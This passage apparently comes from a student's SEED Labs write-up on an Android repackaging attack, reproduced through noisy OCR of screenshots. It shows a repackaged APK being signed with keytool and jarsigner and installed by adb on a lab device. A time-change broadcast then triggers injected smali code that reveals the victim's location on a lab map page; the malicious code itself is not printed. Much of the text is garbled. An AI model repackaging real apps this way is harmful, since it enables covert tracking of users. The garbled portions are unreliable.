— for: CN=Vasilis Athanasiou, 0U=ITSeedlLabs2023, 0=ITSeedLab
s, L=Athens, ST=Undergraduate student, C=GR
Enter key password for <dist>
(RETURN if same as keystore password):
Re-enter new password:
[Storing mykey.keystore]

The JKS keystore uses a proprietary format. It is recommended to m
Jigrate to PKCS12 which is an industry standard format using "keyto
Jol -importkeystore -srckeystore mykey.keystore -destkeystore mykey
.keystore -deststoretype pkcsl2".

[06/02/23]seed@M:~/. . ./dist$ i

Figure 6.2.14. Creating the key pair
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Terminator

/bin/bash

[06/02/23]seed@VM:~/.../dist$ jarsigner -keystore mykey.keystore R
epackaginglLab.apk dist

Enter Passphrase for keystore:
jar signed.

Warning:

The signer certificate will expire within six months.

yNo -tsa or -tsacert is provided and this jar is not timestamped. W

ithout a timestamp, users may not be able to validate this jar aft
——Mler the signer certificate's expiration date (2023-08-31) or after
| o | any future revocation date.

[06/02/23] seed@M:~/. . ./dist$ |}

Figure 6.2.15. Digital signature of the APK file

fXHome project4 Scenario2 Repackaginglab dist

Home

Desktop

| : RepackagingLab.
Documents apk

Downloads
Music
Pictures

Videos

El a PS¢« N P

Trash

@24 Network

Computer

o @

Connect to Server

“mykey.keystore” selected (2.0kB)

Figure 6.2.16. The filepath of the target application's digital certificate
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Terminator 1 m <)
- /bin/bash

2:25AM %

./ . |binbash66x24
[06/02/23]seed@VM:~/.../dist$ adb connect 10.0.2.4
* daemon not running. starting it now on port 5037 *

* daemon started successfully *

connected to 10.0.2.4:5555

[06/02/23]seed@M:~/.../dist$ adb install RepackagingLab.apk
13742 KB/s (1427160 bytes in 0.101s)

Success

[06/02/23]seed@VM:~/.../dist$ I

Figure 6.2.17. Installing the target application on the victim's machine
F A AD

€<  App permissions

@ Repackaging Lab

A Contacts @

Figure 6.2.18. Enabling permissions for managing contacts (Location instead of Contacts)
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00
55 05

50 10

45 15
40 20
35 25

CANCEL C‘

Figure 6.2.19. Changing the time for the attack to occur
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Simple Polylines - Mozilla Firefox 13 m d) 2:50AM %

File Edit View History Bookmarks Tools

Simple Polylines +

-« @ RIR =

G @ www.repackagingattacklab.com
£+ Most Visited 5 SEED Labs [3 Sites for Labs

. - Pontde Levallois ;| ACHOn PartsO" ) el
Map  Satellite [PevoleZ; ‘ s
Nanterre PANa | ¢ Levallois-Perret @ La Villette Pantin bi16] |
o7 De08 ? n n ~ 1 X ¢ Ll' -
%8 puicaux Parc Monceau T GENFQUATRE:PARIS s S West!
@ ‘ ol .0 A Parcides Sl b4
el Buttes-Chaumont
Arc'de;Triomphe Palait Gamn| = Auchan'Hyperman
4 alais Garnier _ BAGNOLET
Suresnes ' 185 | BTH ARR. = 9
Hippodrome Bois de - @Musée d'Orsa 1 e Mor
riskongchamp; Boulogne  Tour Eiffel e A ’ 4 » pa7 e (020
o7 Hotel deslinvalides Pa_rls @P""“’ A
Stade Roland Garros_o Panthéon o ; s Vincenni
Py Les Catacombes de Paris ' 76 :
Boulogne-Billancourt o aeomoS Cen & Jardindes TS R
S i Plantes @ ar =
D910,". N v . Vi
050 y
beine Musi@le@ | et 5 ¢ . Bois de
' NN Issy-les-Moulineaux = Bryp, + HEL AR / % iy :
Sévres o7 i 9 0130 La Vache-Noire { Charenton-le-P
X 0208 D63 I ‘ 05 +
Hopital d'instruction 5= BEL -~ Q Ivrysur:Seine o6
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Figure 6.2.20. Verification of successful attack
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6.3 Observations

The Broadcast Receiver received a time change event and immediately ran the malicious code
“MaliciousCode.smali” that we embedded. The code gives the victim’s virtual location on the map.
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xt.scene.objects.active = modifier ob

T oy ;fjrifhr.w» # modiier ¢

Thank you for your attention:.




